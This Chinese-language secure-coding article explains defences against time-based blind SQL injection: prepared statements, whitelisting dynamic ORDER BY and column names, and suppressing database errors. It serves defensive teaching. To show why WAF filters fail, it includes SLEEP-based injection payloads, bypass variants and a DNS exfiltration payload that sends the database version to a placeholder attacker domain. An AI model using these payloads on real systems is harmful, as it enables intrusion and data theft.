预编译语句是唯一能真正切断时间盲注路径的刚性要求,因其强制分离sql结构与用户输入数据,杜绝拼接导致的sleep()等延时函数执行;其他过滤、正则、转义均属应用层补丁,无法阻止数据库层解析恶意构造的字符串。

PreparedStatement 是唯一能真正切断时间盲注路径的修复方式,其他任何过滤、替换、正则拦截都只是临时补丁,无法根除。
为什么预编译语句是刚性要求
时间盲注的本质不是“输入里有 SLEEP()”,而是“用户输入被拼进 SQL 字符串后执行”。只要拼接存在,攻击者总能找到绕过过滤的方法(比如大小写混写 sLeEp()、内联注释 S/**/LEEP()、函数别名或嵌套表达式)。只有让数据库引擎在解析 SQL 时就区分“结构”和“数据”,才能确保输入永远不参与语法构建。
常见误区是以为加了 mysqli_real_escape_string() 或正则过滤 SLEEP 就安全了——但这些都在 PHP 层做,而数据库执行时仍按原始字符串解析。一旦 WAF 或应用层漏掉一种变形,IF(1=1,SLEEP(5),0) 就会直达数据库。
-
PreparedStatement在 MySQLi 中用prepare()+bind_param();PDO 中必须设PDO::ATTR_EMULATE_PREPARES = false,否则只是模拟预编译,仍会拼接 - Java 的
PreparedStatement必须用setString()等方法传参,不能用String.format()拼 SQL - Python 的
psycopg2用cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)),%s是占位符,不是 Python 字符串格式化
哪些地方最容易漏掉预编译
业务代码里最危险的不是显式 SQL 查询,而是那些“看起来不像 SQL”的动态构造点:
-
ORDER BY子句:参数如?sort=name,若直接拼进 SQL 就是高危点,必须用白名单映射(['name', 'email', 'created_at'])而非字符串拼接 - 表名 / 列名:这类无法参数化的结构,只能靠硬编码白名单或枚举,绝不能接受任意用户输入
- 分页
LIMIT:MySQL 中LIMIT ? OFFSET ?支持参数化,但 PostgreSQL 要求整数类型,需提前校验是否为数字并转为int - 动态
WHERE条件:不要写"AND " + key + " = ?",应把字段名列入白名单,再用固定 SQL 模板匹配
关闭错误回显不是可选项,是必做项
即使用了预编译,如果数据库错误信息泄露到前端(比如 MySQL 的 Unknown column 'xxx' in 'field list'),攻击者就能反推表结构、字段名,为后续盲注提供关键线索。这不是防御时间盲注本身,而是掐断其前期侦察链。
- PHP 中关掉
display_errors,生产环境设error_reporting(0) - MySQL 配置
sql_mode = STRICT_TRANS_TABLES可减少模糊错误,但核心仍是不让错误文本返回 HTTP 响应体 - 框架如 Laravel 默认已屏蔽,但自定义 DB 封装类常忽略这点,需检查所有
try/catch是否吞掉异常且不输出细节
WAF 规则只能当辅助,不能信它防住时间盲注
规则如拦截 SLEEP(|BENCHMARK( 在真实场景中极易绕过:sleep(5) → slEeP(5),或用 MAKE_SET(1,SLEEP(5))、ELT(1,SLEEP(5)) 替代。更隐蔽的是用 SELECT ... INTO DUMPFILE 或 DNS 外带(LOAD_FILE(CONCAT('\\',VERSION(),'.attacker.com\abc')))完全避开时间判断。
真正可靠的防线只有两条:输入不进 SQL 字符串、错误不往外吐。其余都是烟幕。
最常被忽略的其实是动态排序和多条件查询的拼接逻辑——它们往往藏在 DAO 层深处,测试时只验证了主键查询,却没覆盖 ?q=xxx&sort=price&order=desc 这类组合参数。











